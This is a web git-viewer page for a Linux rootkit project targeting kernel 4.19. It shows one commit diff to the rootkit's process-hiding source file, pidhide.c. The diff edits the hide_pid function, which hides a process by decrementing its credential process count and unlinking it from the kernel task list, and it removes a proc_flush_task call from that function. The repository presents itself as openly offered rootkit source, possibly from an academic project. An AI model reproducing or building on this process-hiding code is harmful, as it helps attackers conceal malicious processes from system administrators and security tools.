linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 7e246ee2b4aace68888507b21eb9f9179d372140
parent f6087b5ffa5050bd72d5ca2e3f8a58c7ee530bf6
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 02:58:33 +0100

fixes issue

Diffstat:
Mrootkit/src/pidhide.c | 2+-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -2,6 +2,7 @@ #include <linux/pid.h> #include <linux/sched.h> #include <linux/proc_fs.h> +#include <linux/task.h> #include "hook.h" #include "pidhide.h" @@ -75,7 +76,6 @@ hide_pid(pid_t pid) rcu_read_lock(); atomic_dec(&__task_cred(ts)->user->processes); rcu_read_unlock(); - proc_flush_task(ts); write_lock_irq(&tasklist_lock); list_del(&ts->tasks);